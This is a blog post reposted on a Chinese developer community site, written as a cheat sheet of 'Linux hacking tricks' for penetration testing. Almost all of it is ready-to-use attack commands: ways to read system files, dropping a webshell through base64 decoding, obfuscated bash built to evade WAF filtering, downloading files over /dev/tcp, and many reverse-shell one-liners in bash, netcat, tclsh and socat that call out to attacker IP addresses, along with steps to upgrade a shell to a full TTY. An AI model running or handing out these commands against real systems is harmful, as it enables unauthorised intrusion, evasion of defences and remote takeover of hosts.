前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Some Linux Hacking Tricks

Some Linux Hacking Tricks

作者头像
风流
发布2019-12-11 10:57:31
5440
发布2019-12-11 10:57:31
举报
文章被收录于专栏:Urahara BlogUrahara Blog

本文首发逢魔安全实验室技术博客

There is always a method here is useful for you to penetration test :)

Some ways to read system files
代码语言:javascript
复制
cat /etc/issue
tac /etc/issue
less /etc/issue
more /etc/issue
head /etc/issue
tail /etc/issue
nl /etc/issue
xxd /etc/issue
sort /etc/issue
uniq /etc/issue
strings /etc/issue
sed -n '1,10p' /etc/issue
grep . /etc/issue
python -c "print(open('/etc/issue').read())"
perl -F: -lane 'print "@F[0..4]\n"' /etc/issue
ruby -e 'IO.foreach("/etc/issue"){|a| print a}'
php -r "echo file_get_contents('/etc/issue');"
echo $(</etc/issue) or echo `</etc/issue`
awk '{print $0}' /etc/issue
base64 -i /etc/issue
dd count=1000 bs=1 if=/etc/issue 2>/dev/null
egrep|fgrep|rgrep|agrep "" /etc/issue
rev /etc/issue
comm /etc/issue /etc/issue
paste /etc/issue
Echo a large file to the file System
代码语言:javascript
复制
echo -n "aGVsbG8gd29ybGQK"|base64 -d > webshell.jsp
Execute commands in bash to bypass waf
代码语言:javascript
复制
# cat /etc/issue
$1c$2a$3t$IFS/$4e$5t$6c/$7i$8s$9s$1u$1e 
IFS=,;`cat<<<cat,/etc/issue`
{cat,/etc/issue}
cat<>/etc/issue
CMD=$'\x20/etc/issue'&&cat$CMD
echo Y2F0IC9ldGMvaXNzdWU=|base64 -d|bash
Download file without nc&wget
代码语言:javascript
复制
exec 5<>/dev/tcp/ip/port &&echo -e "GET /filename HTTP/1.0\n" >&5 && cat<&5 > filename
Create An Interactive Shell
代码语言:javascript
复制
# Use Bash
$ bash -i >& /dev/tcp/192.168.68.206/2333 0>&1
$ exec 196<>/dev/tcp/192.168.68.206/2333; sh <&196 >&196 2>&196
$ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line; do $line 2>&5 >&5;done
$ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line 0<&5; do $line 2>&5 >&5; done

# Use Netcat
$ nc -e /bin/sh 192.168.68.206 2333  
$ mkfifo fifo ; nc.traditional -u 192.168.199.199 5555 < fifo | { bash -i; } > fifo
$ nc 192.168.199.199 5555 -c /bin/bash
$ if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.199.199 5555 > /tmp/f
$ if [ -e /tmp/f ]; then rm -f /tmp/f;fi;mknod /tmp/f p && nc 192.168.199.199 5555 0</tmp/f|/bin/bash 1>/tmp/f
$ nc 192.168.68.206 2333|/bin/sh|nc 192.168.68.206 2444  

# Use TCHsh
$ echo 'set s [socket 192.168.199.199 5555];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh # tcp

# Use Socat
$ socat tcp-connect:192.168.199.199:5555 exec:"bash -li",pty,stderr,setsid,sigint,sane # tcp

## Full list please read my blog
## http://reverse-tcp.xyz/2017/01/08/Some-Ways-To-Create-An-Interactive-Shell-On-Linux/
Use rlwrap to run netcat and create a listening port
代码语言:javascript
复制
# Allow the editing of keyboard input for any other command.
rlwrap -S "$(printf '\033[95mFS>\033[m ')" nc -lvvp 4444
Upgrading simple shells to fully interactive TTYs
代码语言:javascript
复制
## use Python to spawn a pty
python -c 'import pty; pty.spawn("/bin/bash")'

## Using socat
# Socat is like netcat and it can be used to pass full TTY's over TCP connections.
# If socat isn't installed, you can download id from here : https://github.com/andrew-d/static-binaries
# On Attack Host
socat file:`tty`,raw,echo=0 tcp-listen:4444 
# On Victim
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

## Using Expect
cat sh.exp
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh
interact
# In reverse shell
expect sh.exp

## Using stty options
#
# In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In attack shell
stty raw -echo
fg
# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
One command to locate the web path
代码语言:javascript
复制
find / -type f -name "*.*" | xargs grep "htmlstring"
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Some ways to read system files
  • Echo a large file to the file System
  • Execute commands in bash to bypass waf
  • Download file without nc&wget
  • Create An Interactive Shell
  • Use rlwrap to run netcat and create a listening port
  • Upgrading simple shells to fully interactive TTYs
  • One command to locate the web path
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档